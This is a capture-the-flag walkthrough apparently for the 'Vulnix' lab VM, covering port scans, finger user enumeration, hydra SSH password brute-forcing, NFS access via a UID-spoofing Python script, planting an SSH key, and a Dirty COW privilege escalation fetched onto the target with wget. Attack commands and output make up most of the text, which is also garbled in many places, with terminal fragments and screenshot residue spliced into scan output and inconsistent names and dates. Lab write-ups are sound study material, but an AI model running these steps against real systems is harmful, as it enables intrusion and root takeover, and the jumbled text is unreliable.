

# VULNIX writeup

## 1. nmap -p- Target\_ip

```
root@v5hali:~# nmap -p- 192.168.122.130
Starting Nmap 7.70 ( https://nmap.org ) at 2020-06-16 01:57 EDT
Nmap scan report for 192.168.122.130
Host is up (0.0028s latency).
Not shown: 65518 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh      lfi.php rfi scanning
25/tcp    open  smtp    root@v5hali:~/Learning# cd ..
79/tcp    open  finger   root@v5hali:~/Learning# cd exploits/
110/tcp   open  pop3   root@v5hali:~/exploits# ls
111/tcp   open  rpcbind mod_ssl_OpenFuck rfi-meterpreter.php samba
143/tcp   open  imap    root@v5hali:~/exploits# nano nfs
512/tcp   open  exec   Use "fg" to return to nano.
513/tcp   open  login
514/tcp   open  shell   [1]+  Stopped                  nano nfs
993/tcp   open  imaps   root@v5hali:~/exploits# nano nfs-exploit
995/tcp   open  pop3s   root@v5hali:~/exploits# cp nfs-exploit nfs-exploit
2049/tcp  open  nfs    root@v5hali:~/exploits# nano nfs-exploit.py
35081/tcp open  unknown root@v5hali:~/exploits# rm nfs-exploit
43465/tcp open  unknown root@v5hali:~/exploits# ls
49931/tcp open  unknown mod_ssl_OpenFuck nfs-exploit.py rfi-meterpreter
55154/tcp open  unknown root@v5hali:~/exploits# 
57643/tcp open  unknown
MAC Address: 00:0C:29:06:17:8C (VMware)

Nmap done: 1 IP address (1 host up) scanned in 20.86 seconds
root@v5hali:~#
```

## 2. nmap -sV -A --script vuln Target\_ip

```
root@v5hali:~# nmap -sV -A --script Vuln 192.168.122.130
Starting Nmap 7.70 ( https://nmap.org ) at 2020-06-18 02:23 EDT
Nmap scan report for 192.168.122.130
Host is up (0.0017s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh       OpenSSH 5.9p1 Debian Subuntu1 (Ubuntu Linux; protocol 2.0)
25/tcp    open  smtp?
|_sslv2-down:
79/tcp    open  finger    Linux fingerd
110/tcp   open  pop3?
| ssl-ccs-injection:
| VULNERABLE:
|   SSL/TLS MITM vulnerability (CCS Injection)
| State: VULNERABLE
| Risk factor: High
|   OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
|   does not properly restrict processing of ChangeCipherSpec messages,
|   which allows man-in-the-middle attackers to trigger use of a zero
|   length master key in certain OpenSSL-to-OpenSSL communications, and
|   consequently hijack sessions or obtain sensitive information, via
|   a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|
| References:
|   http://www.openssl.org/news/secadv_20140605.txt
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
|_ http://www.cvedetails.com/cve/2014-0224
| ssl-heartbleed:
| VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing
|   State: VULNERABLE
|   Risk factor: High
|     OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartb
| References:
|   http://www.openssl.org/news/secadv_20140407.txt
|   http://cvedetails.com/cve/2014-0160/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
111/tcp   open  rpcbind   2-4 (RPC #100000)
| rpcinfo:
|   program version port/proto service
|   100000  2,3,4        111/tcp  rpcbind
```

```

| 100000 2,3,4      111/udp  rpcbind
| 100003 2,3,4      2049/tcp  nfs
| 100003 2,3,4      2049/udp nfs
| 100005 1,2,3      37593/udp mountd
| 100005 1,2,3      57395/tcp mountd
| 100021 1,3,4      47147/tcp nlockmgr
| 100021 1,3,4      48211/udp nlockmgr
| 100024 1          38105/tcp status
| 100024 1          42237/udp status
| 100227 2,3         2049/tcp nfs_acl
|_ 100227 2,3         2049/udp nfs_acl
143/tcp open  imap      Dovecot imaps
| ssl-ccs-injection:
| VULNERABLE:
| SSL/TLS MITM vulnerability (CCS Injection)
| State: VULNERABLE
| Risk factor: High
| OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
| does not properly restrict processing of ChangeCipherSpec messages,
| which allows man-in-the-middle attackers to trigger use of a zero
| length master key in certain OpenSSL-to-OpenSSL communications, and
| consequently hijack sessions or obtain sensitive information, via
| a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|
| References:
|   http://www.openssl.org/news/secadv_20140605.txt
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
|_   http://www.cvedetails.com/cve/2014-0224
ssl-poodle:
| VULNERABLE:
| SSL POODLE information leak
| State: VULNERABLE
| IDs: OSVDB:113251 CVE:CVE-2014-3566
| The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
| products, uses nondeterministic CBC padding, which makes it easier
| for man-in-the-middle attackers to obtain cleartext data via a
| padding-oracle attack, aka the "POODLE" issue.
| Disclosure date: 2014-10-14
| Check results:
|   TLS_RSA_WITH_AES_128_CBC_SHA
| References:
|   https://www.imperialviolet.org/2014/10/14/poodle.html
|   http://osvdb.org/113251
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|_   https://www.openssl.org/~bodo/ssl-poodle.pdf
sslv2-drown:
512/tcp open  exec      netkit-rsh rexecd
513/tcp open  login?
514/tcp open  shell      Netkit rshd
993/tcp open  ssl/imap    Dovecot imaps
| ssl-ccs-injection:
| VULNERABLE:
| SSL/TLS MITM vulnerability (CCS Injection)
| State: VULNERABLE
| Risk factor: High
| OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
| does not properly restrict processing of ChangeCipherSpec messages,
| which allows man-in-the-middle attackers to trigger use of a zero
| length master key in certain OpenSSL-to-OpenSSL communications, and
| consequently hijack sessions or obtain sensitive information, via
| a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|
| References:
|   http://www.openssl.org/news/secadv_20140605.txt
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
|_   http://www.cvedetails.com/cve/2014-0224
995/tcp open  ssl/pop3s?
| ssl-ccs-injection:
| VULNERABLE:
| SSL/TLS MITM vulnerability (CCS Injection)
| State: VULNERABLE
2049/tcp open  nfs_acl   2-3 (RPC #100227)
MAC Address: 00:0C:29:06:17:8C (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT      ADDRESS
1  1.70 ms 192.168.122.130

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 322.38 seconds
root@v5hai1i:~#

```

# ENUMERATION

## User enumeration (PORT-79)

```
root@v5hali:~# finger
Login      Name      Tty      Idle  Login Time   Office      Office Phone
root      root      *:1           Jun 18 02:12 (:1)
root@v5hali:~# finger @192.168.122.130
No one logged on.
root@v5hali:~# finger root@192.168.122.130
Login: root                               Name: pwned
Directory: /root                           Shell: /bin/bash
Last login Tue Jun 16 14:07 (BST) on pts/2 from 192.168.122.145
No mail.
No Plan.
```

\*\*\*Using tool finger-user-enum to find users in target system

Download finger-user-enum using command `git clone https://github.com/pentestmonkey/finger-user-enum.git`  
`./finger-user-enum.pl -U <wordlist> -t <target>`

```
root@v5hali:~/Hacking-Tools/finger-user-enum# ./finger-user-enum.pl -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t 192.168.122.130
Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum )
-----[ Scan Information ]-----
Worker Processes ..... 5
Usernames file ..... /usr/share/seclists/Usernames/top-usernames-shortlist.txt
Target count ..... 1
Username count ..... 17
Target TCP port ..... 79
Query timeout ..... 5 secs
Relay Server ..... Not used

##### Scan started at Thu Jun 18 02:37:26 2020 #####
admin@192.168.122.130: finger: admin: no such user...
root@192.168.122.130: Login: root                               Name: pwned..Directory: /root                         Shell: /bin/bash..Last login Tue Jun 16 14:07 (BST) on pts/2 from 192.168.122.145..No mail...No Plan...
info@192.168.122.130: finger: info: no such user...
guest@192.168.122.130: finger: guest: no such user...
test@192.168.122.130: finger: test: no such user...
user@192.168.122.130: Login: user                               Name: user..Directory: /home/user                     Shell: /bin/bash..Last login Wed Jun 17 18:12 (BST) on pts/0 from 192.168.122.145..No mail...No Plan....Login: dovenull
                                         Name: Dovecot login user..Directory: /nonexistent
                                         Shell: /bin/false..Never logged in...No mail...No Plan...
pi@192.168.122.130: finger: pi: no such user...
#####
Scan completed at Thu Jun 18 02:37:26 2020 #####
7 results.

17 queries in 1 seconds (17.0 queries / sec)
root@v5hali:~/Hacking-Tools/finger-user-enum# C
```

```

root@v5hali:~# finger user@192.168.122.130
Login: user                               Name: user
Directory: /home/user                      Shell: /bin/bash
Last login Wed Jun 17 18:12 (BST) on pts/0 from 192.168.122.145 dB' .BP dB' .BP dB' .BP
No mail.                                     |   dB' .BP dB' .BP dB' .BP dB' .BP dB' .BP
No Plan.                                     |   dB' .BP dB' .BP dB' .BP dB' .BP dB' .BP
Login: dovenull                            Name: Dovecot login user
Directory: /nonexistent                     Shell: /bin/false
Never logged in.
No mail.                                     To boldly go where no
No Plan.                                     shell has gone before

```

## LOGIN USING SSH as user

```

root@v5hali:~# ssh user@192.168.122.130
user@192.168.122.130's password:
Permission denied, please try again.
user@192.168.122.130's password:

```

## Bruteforce password for ssh using hydra

```

root@v5hali:~# hydra -l user -P /usr/share/wordlists/rock.txt 192.168.122.130 ssh
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret s
ervice organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2020-06-18 03:44:26
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recom
mended to reduce the tasks: use -t 4
[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:1/p:0), ~6 try
per task
[DATA] attacking ssh://192.168.122.130:22/
[22][ssh] host: 192.168.122.130  login: user  password: letmein
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2020-06-18 03:44:50
root@v5hali:~#

```

\*\*\*successfully login using ssh

```

[22][ssh] host: 192.168.122.130  login: user  password: letmein
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2020-06-18 03:44:50
root@v5hali:~# ssh user@192.168.122.130
user@192.168.122.130's password:
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

 System information as of Thu Jun 18 14:21:11 BST 2020

 System load:  0.0          Processes:           89
 Usage of /:   90.2% of 773MB   Users logged in:    0
 Memory usage: 7%
 Swap usage:  0%
=> / is using 90.2% of 773MB

 Graph this data and manage this system at https://landscape.canonical.com/

New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

user@vulnix:~$ cat /etc/passwd

```

```

user@vulnix:~$ cat /etc/passwd
root:x:0:0:root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
postfix:x:104:110::/var/spool/postfix:/bin/false
dovecot:x:105:112:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
dovenuall:x:106:65534:Dovecot login user,,,:/nonexistent:/bin/false
landscape:x:107:113::/var/lib/landscape:/bin/false
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
vulnix:x:2008:2008::/home/vulnix:/bin/bash
statd:x:109:65534::/var/lib/nfs:/bin/false
user@vulnix:~$ █

```

Found user vulnix

Mounting nfs sharing

```

root@v5hali:/tmp# showmount -e 192.168.122.130
Export list for 192.168.122.130:
/home/vulnix *
root@v5hali:/tmp# mount -t nfs 192.168.122.130:/home/vulnix /tmp/nfs
mount.nfs: mount point /tmp/nfs does not exist
root@v5hali:/tmp#
root@v5hali:/tmp# mount -t nfs 192.168.122.130:/home/vulnix /tmp/nfs
root@v5hali:/tmp# cd /tmp/nfs
bash: cd: /tmp/nfs: Permission denied
root@v5hali:/tmp#

```

\*\*\*Permission denied

add user vulnix with same user and group id as target system and then try to access shared folder

```

root@v5hali:~# useradd -u 2008 vulnix
root@v5hali:~# su vulnix
Run 'do-release-upgrade' to upgrade
$ id
uid=2008(vulnix) gid=2008(vulnix) groups=2008(vulnix)
$ /bin/bash
vulnix@v5hali:/root$ cd /tmp/nfs
vulnix@v5hali:/tmp/nfs$ ls
vulnix@v5hali:/tmp/nfs$ ls -al
total 20
drwxr-x--- 2 nobody 1003 4096 Sep  2 2012 .
drwxrwxrwt 20 root   root 4096 Jun 18 03:55 ..
-rw-r--r--  1 nobody 1003  220 Apr  3 2012 .bash_logout
-rw-r--r--  1 nobody 1003 3486 Apr  3 2012 .bashrc
-rw-r--r--  1 nobody 1003   675 Apr  3 2012 .profile
vulnix@v5hali:/tmp/nfs$ █

```

## NFS Enumeration (PORT-2049)

```

root@v5hali:~# nmap -p 2049 -sV -A --script vuln 192.168.122.130
Starting Nmap 7.70 ( https://nmap.org ) at 2020-06-16 02:11 EDT
Nmap scan report for 192.168.122.130
Host is up (0.0017s latency).

PORT      STATE SERVICE VERSION
2049/tcp  open  nfs      2-4 (RPC #100003)
MAC Address: 00:0C:29:06:17:8C (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop

TRACEROUTE
HOP RTT      ADDRESS
1  1.74 ms  192.168.122.130

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.02 seconds
root@v5hali:~#

```

1. showmount -e Target

```

root@v5hali:~# showmount -e 192.168.122.130
Export list for 192.168.122.130:  Help
/home/vulnix*
root@v5hali:~#

```

2. make share directory in /tmp dir

```

root@v5hali:/tmp# mkdir share
root@v5hali:/tmp# ls -al
total 92
drwxrwxrwt 15 root root 4096 Jun 16 07:22 192.168.122.130:/home/vulnix /tmp/share
drwxr-xr-x 19 root root 36864 Jun 16 05:24 ..
drwxrwxrwt 20 root root 4096 Jun 16 07:19 .font-unix
drwxrwxrwt 21 root root 4096 Jun 16 07:20 .ICE-unix
drwxr-xr-x 22 root root 4096 Jun 16 07:22 share
drwxr-xr-x 23 root root 4096 Jun 16 07:24 ..
drwxr-xr-x 24 root root 4096 Jun 16 07:26 ssh-PxbqPvbqnPgi
drwxr-xr-x 25 root root 4096 Jun 16 07:19 systemd-private-cdcc948989a640a2860a8
drwxr-xr-x 26 root root 4096 Jun 16 07:19 8962ebb744a-haveged.service
drwxr-xr-x 27 root root 4096 Jun 16 07:19 smxiws
drwxr-xr-x 28 root root 4096 Jun 16 07:19 8962ebb744a-ModemManager.service
drwxr-xr-x 29 root root 4096 Jun 16 07:19 m3KlbZ
drwxr-xr-x 30 root root 4096 Jun 16 07:19 8962ebb744a-ModemManager.service
drwxr-xr-x 31 root root 4096 Jun 16 07:19 8962ebb744a-systemd-timesyncd.service
drwxr-xr-x 32 root root 4096 Jun 16 07:19 IBqnDN
drwxrwxrwt 33 root root 4096 Jun 16 07:19 .Test-unix
drwxr-xr-x 34 root root 4096 Jun 16 07:20 tracker-extract-files.0
drwxrwxrwt 35 root root 4096 Jun 16 07:19 VMwareDnD
drwxr-xr-x 36 root root 4096 Jun 16 07:19 vmware-root_276-835299051
drwxrwxrwt 37 root root 4096 Jun 16 07:20 .XII-unix
drwxrwxrwt 38 root root 4096 Jun 16 07:19 .XIM-unix
drwxrwxrwt 39 root root 4096 Jun 16 07:19 vmware-root_276-8352990
root@v5hali:/tmp#

```

3. mount -t nfs target:/home/vulnix /tmp/share

check permission of /tmp/share (user=nobody and group=nobody)

\*\*share directory is not accessible directly

```

root@v5hali:/tmp# mount -t nfs 192.168.122.130:/home/vulnix /tmp/share
root@v5hali:/tmp# ls -al
total 92
drwxrwxrwt 15 root root 4096 Jun 16 07:22 .
drwxr-xr-x 19 root root 36864 Jun 16 05:24 ..
drwxrwxrwt 2 root root 4096 Jun 16 07:19 .font-unix
drwxrwxrwt 2 root root 4096 Jun 16 07:20 .ICE-unix
drwxr-x-- 2 nobody nobody 4096 Sep 2 2012 share
drwx----- 2 root root 4096 Jun 16 07:20 ssh-PxbqPvbqnPgi
drwxr-x-- 3 root root 4096 Jun 16 07:19 systemd-private-cdcc948989a640a28
60a88962ebb744a-haveged.service-smx1WS
drwx----- 3 root root 4096 Jun 16 07:19 systemd-private-cdcc948989a640a28
60a88962ebb744a-ModemManager.service-m3KlbZ
drwx----- 3 root root 4096 Jun 16 07:19 systemd-private-cdcc948989a640a28
60a88962ebb744a-systemd-timesyncd.service-IBqnDN
drwxrwxrwt 2 root root 4096 Jun 16 07:19 .Test-unix
drwxr-xhali:2 root root 4096 Jun 16 07:20 tracker-extract-files.0
drwxrwxrwt:2 root root 4096 Jun 16 07:19 VMwareDnD
drwxr-x-- 2 root root 4096 Jun 16 07:19 vmware-root_276-835299051
drwxrwxrwt 2 root root 4096 Jun 16 07:20 .X11-unix
drwxrwxrwt 2 root root 4096 Jun 16 07:19 .XIM-unix
drwxrwxrwt 2 root root 4096 Jun 16 07:19 var
root@v5hali:/tmp# cd share
bash: cd: share: Permission denied
root@v5hali:/tmp#

```

## EXPLOITATION

\*\*\* To access share directory, you have to clone user id which is used by target system as nfs user.

Python script to clone user.

```

GNU nano 2.9.8
share]          nfs-exploit.py
share]
import os
File Edit View Search Terminal Help
import subprocess
import codecs
f = open("/etc/passwd","rb").read()
print(f)
for i in range(1995,3000):
    print("Trying USERID"+str(i))
    f1 = open("/etc/passwd","wb")
    data = "vulnix:x:"+str(i)+":`"+str(i)+":,,,:/home/vulnix:/bin/bash"
    f1.write(f+codecs.encode(data))
    f1.close()
    p = subprocess.getoutput("sudo -u vulnix ls -al /tmp/share")
    if len(p)>200:
        print("got USERID"+str(i))
        exit()

```

4. Make user vulnix using command = **adduser vulnix** and assign password

```
GNU nano 2.9.8                               /etc/passwd                         Modified: 2023-07-10 14:43:13 +0530
beef-xss:x:134:143::/var/lib/beef-xss:/usr/sbin/nologin
Debian-gdm:x:135:144:Gnome Display Manager:/var/lib/gdm3:/bin/false
systemd-coredump:x:998:998:systemd Core Dumper:/sbin/nologin
redis:x:136:145::/var/lib/redis:/usr/sbin/nologin
ftpuser:x:1000:1000::/dev/null:/etc
statd:x:137:65534::/var/lib/nfs:/usr/sbin/nologin
flower:x:1001:1001:,,,:/home/flower:/bin/bash
lily:x:1002:1006::/home/lily:/bin/sh
vulnix:x:1003:1003:,,,:/home/vulnix:/bin/bash
```

Before running python script delete vulnix user from /etc/passwd and save.

```
GNU nano 2.9.8                               /etc/passwd                         Modified: 2023-07-10 14:43:13 +0530
beef-xss:x:134:143::/var/lib/beef-xss:/usr/sbin/nologin
Debian-gdm:x:135:144:Gnome Display Manager:/var/lib/gdm3:/bin/false
systemd-coredump:x:998:998:systemd Core Dumper:/sbin/nologin
redis:x:136:145::/var/lib/redis:/usr/sbin/nologin
ftpuser:x:1000:1000::/dev/null:/etc
statd:x:137:65534::/var/lib/nfs:/usr/sbin/nologin
flower:x:1001:1001:,,,:/home/flower:/bin/bash
lily:x:1002:1006::/home/lily:/bin/sh
```

5. Make sure to give write permission for other users to /etc/passwd file.

**chmod 777 /etc/passwd**

```
root@v5hali:~# chmod 777 /etc/passwd
root@v5hali:~# nano /etc/passwd
```

\*\*\*Login with another user and copy python script there.

6. Run script using command = **sudo python3 nfs-exploit.py**

```
flower@v5hali:~$ sudo python3 nfs-exploit.py      ftpuser:x:1000:1000::/dev/null
[sudo] password for flower:  View  Search  Terminal  statd:x:137:65534::/var/lib/nfs:/usr/sbin/nologin
flower is not in the sudoers file. This incident will be reported.
flower@v5hali:~$ sudo python3 nfs-exploit.py      lily:x:1002:1006::/home/lily:/bin/sh
```

\*\*\*If it gives above error, then add in /etc/sudoers file

```
<user>  ALL=(ALL:ALL) ALL
```

```
GNU nano 2.9.8                               /etc/sudoers

Defaults          secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:$

# Host alias specification
#@v5hali:~$ nano nis-exploit.py
#@v5hali:~$ nano /etc/sudoers
#@v5hali:~$ history
15
# Cmnd alias specification
nano nis-exploit.py
python3 nis-exploit.py
# User privilege specification
root    ALL=(ALL:ALL) ALL
flower  ALL=(ALL:ALL) ALL
history
#@v5hali:~$ nano /etc/sudoers
# Allow members of group sudo to execute any command
%sudo  ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:
#includedir /etc/sudoers.d

^G Get Help ^O Write Out ^W Where Is   ^K Cut Text  ^J Justify  ^C Cur Pos
^X Exit USER ^R Read File  ^Y Replace  ^U Uncut Text ^T To Spell  ^_ Go To Line
```

## 7. Run script again

8. Now we got user and group id for user vulnix

```
GNU nano 2.9.8                                /etc/passwd

beef-xss:x:134:143::/var/lib/beef-xss:/usr/sbin/nologin
Debian-gdm:x:135:144:Gnome Display Manager:/var/lib/gdm3:/bin/false
systemd-coredump:x:998:998:systemd Core Dumper:/sbin/nologin
redis:x:136:145::/var/lib/redis:/usr/sbin/nologin
ftpuser:x:1000:1000::/dev/null:/etc
statd:x:137:65534::/var/lib/nfs:/usr/sbin/nologin
flower:x:1001:1001:,,,:/home/flower:/bin/bash
lily:x:1002:1006:/home/lily:/bin/sh
vulnix:x:2008:2008:,,,:/home/vulnix:/bin/bash
```

9. Login with vulnix user and try to access /tmp/share directory.

\*\*\* Access successfully

## Login with SSH as Vulnix user

1. Generate ssh key using **ssh-keygen** command.

```
flower@v5hal1:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/flower/.ssh/id_rsa):
Created directory '/home/flower/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/flower/.ssh/id_rsa.
Your public key has been saved in /home/flower/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:iYdJ2sAr1JG3ZhCpsIQ9QBn95KrBPtsoMuo/jMVCLPs flower@v5hal1
The key's randomart image is:
+---[RSA 2048]---+
|+=+ o+
|ooo++o.
|oo.oBo..
|o+. o++
|+.o o+= S
|.+ = .
|..B
|+=Eo
|*=+o.
+----[SHA256]----+
flower@v5hal1:~$ cd .ssh
flower@v5hal1:~/.ssh$ ls
id_rsa id_rsa.pub
File Edit View Search
vulnix@v5hal1:~/.ssh$ pwd
/home/vulnix/.ssh
vulnix@v5hal1:~/.ssh$ cd ..
vulnix@v5hal1:~/tmp/share$ ls -al
total 20
drwxr-x-- 2 vulnix vulnix 4096 Jun 16 07:53 .
drwxrwxrwt 15 root root 4096 Jun 16 08:40 .
-rw-r--r-- 1 vulnix vulnix 220 Apr 3 2012 .bash_history
-rw-r--r-- 1 vulnix vulnix 3486 Apr 3 2012 .bashrc
-rw-r--r-- 1 vulnix vulnix 675 Apr 3 2012 .profile
vulnix@v5hal1:/tmp/share$ mkdir .ssh
vulnix@v5hal1:/tmp/share$ ls -al
total 24
drwxr-x-- 3 vulnix vulnix 4096 Jun 16 08:45 .
drwxrwxrwt 15 root root 4096 Jun 16 08:45 .
-rw-r--r-- 1 vulnix vulnix 220 Apr 3 2012 .bash_history
-rw-r--r-- 1 vulnix vulnix 3486 Apr 3 2012 .bashrc
-rw-r--r-- 1 vulnix vulnix 675 Apr 3 2012 .profile
```

- ## 2. Copy id\_rsa.pub

```
flower@v5ha1i:~/._ssh$ cat id_rsa.pub  
ssh-rsa AAAAB3NzaC1yc2EAAAQABAAQ9g2Urnhk3RvWHNaWs84Z5tCYB364H/GAXL98bhsN  
oT/oCQz4gnR2mAjm0E/Y5kpaZm6/ejucsvh52xocVstLoJ6PglEtaj7DAL6Sc0o8oy1TRBT5vRWduKJ  
rcCXJyvrJXutIGze695KSoxASD9jrx0XeCXenChqJv5JmbmPPX2eFTKQRTgT8h1md6088Y3JINFsaxfg  
SVQ4soDTt9nn9QuJqhwrQRrlZLvnAqbV7P/U1bewkio/tVogCH8xL9h0Ykxq/XyvBD4ThqB09i54Py  
KAQ9UFI0DFRIGogr53uDIsPBNCvz45PUUZPm5cs1d6ovDtngih8B0QVQT/NvVlbB flower@v5ha1i
```

3. make .ssh directory in /tmp/share/ directory from vulnix user

```
vulnix@vShali:/tmp/share$ mkdir .ssh  
vulnix@vShali:/tmp/share$ ls -al  
total 24  
drwxr-x--- 3 vulnix vulnix 4096 Jun 16 08:45 .  
drwxrwxrwt 15 root root 4096 Jun 16 08:40 ..  
-rw-r--r-- 1 vulnix vulnix 220 Apr  3 2012 .bash_logout  
-rw-r--r-- 1 vulnix vulnix 3486 Apr  3 2012 .bashrc  
-rw-r--r-- 1 vulnix vulnix 675 Apr  3 2012 .profile  
drwxr-xr-x 2 vulnix vulnix 4096 Jun 16 08:45 .ssh  
vulnix@vShali:/tmp/share$ cd .ssh  
vulnix@vShali:/tmp/share/.ssh$ nano authorized_keys
```

4. make file authorized\_keys in .ssh and paste public key there.

GNU nano 2.9.8	authorized keys
\$tnghih8B0QVQT/NVvLbB flower@v5hali /AQRADAAABAQC9g2Urlnk3RVWHnaws842zCYB364H/GAXL98bhsN /ejucsvh52xocVstLoJ6PgLEtaj7DAL65c0o8oy1TRBT5vRwduKJ j r0XeCXenCQjV5JmbmPPX2eFTKQRTgT8h1md6088Y3JINFsaxfg NAqBVe7P/U1bewkio/tVogCH8xL9h0Ykxq/XyvBD4ThqB09i54Py z45PUUZPM5cs1d6ovDtngih8B0QVQT/NVvLbB flower@v5hali @192.168.122.130	bot 4096 Jun 16 08:40 bot 36864 Jun 16 05:24 ... bot 4096 Jun 16 07:19 bot 4096 Jun 16 07:20 ulnix 4096 Jun 16 07:53 sh... bot 4096 Jun 16 07:20 ss... bot 4096 Jun 16 07:19 sy...

5. login using **ssh vulnix@target\_ip**

## PRIVILEGE ESCALATION

- ## 1. Download dirty\_cow exploit from exploit-db

The screenshot shows a web browser displaying the Exploit-DB website. The URL is https://www.exploit-db.com/exploits/40839. The page title is "Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE\_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)". The exploit details are as follows:

EDB-ID:	CVE:	Author:	Type:	Platform:	Date:
40839	2016-5195	FIREART	LOCAL	LINUX	2016-11-28

Key features listed: EDB Verified (green checkmark), Exploit (with download and source code icons), and Vulnerable App (with download icon). To the right, there's a sidebar for "Become a Certified Penetration Tester" with a "GET CERTIFIED" button.

2. Compile it using command

**gcc 40838.c -lcrypt - pthread -o exp**

And share it using python server

## Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE\_POKE DATA' Race Condition Privilege Escalation (/etc/passwd Method)

root@v5haili: ~/Downloads

```
File Edit View Search Terminal Help
```

LOCAL LINUX 2016-11-26

root@v5haili:~# cd Downloads/
root@v5haili:~/Downloads# ls
34900.py 40839.c 47814.txt
root@v5haili:~/Downloads# rm 34900.py 47814.txt
root@v5haili:~# cd Downloads/
root@v5haili:~/Downloads# ls
40839.c
root@v5haili:~/Downloads# gcc 40839.c -lcrypt -pthread -o exp
root@v5haili:~/Downloads# ls -al
total 36
drwxr-xr-x 2 root root 4096 Jun 16 08:59 .
drwxr-xr-x 26 root root 4096 Jun 16 07:20 ..
-rw-r--r-- 1 root root 5006 Jun 16 08:56 40839.c
-rwxr-xr-x 1 root root 16696 Jun 16 08:59 exp
root@v5haili:~/Downloads# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.122.130 - - [16/Jun/2020 09:00:55] "GET /exp HTTP/1.1" 200 -
192.168.122.130 - - [16/Jun/2020 09:00:55] "GET /exp HTTP/1.1" 200 -

//  
// This exploit uses the pokemon exploit of the dirtycow vulnerability  
// as a base and automatically generates a new passwd line.  
// The user will be prompted for the new password when the binary is run.

Become a Certified Penetration Tester

roll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

GET CERTIFIED

← →

3. Download exploit using wget command

**wget http://192.168.122.145:8000/exp .**

```
vulnix@vulnix:~$ wget http://192.168.122.145:8000/exp .
--2020-06-16 14:00:55-- http://192.168.122.145:8000/exp
Connecting to 192.168.122.145:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16696 (16K) [application/octet-stream]
Saving to: `exp'

100%[=====] 16,696      --.-K/s   in 0s

2020-06-16 14:00:55 (74.0 MB/s) - `exp' saved [16696/16696] - 'Dirty COW
Privilege Escalation

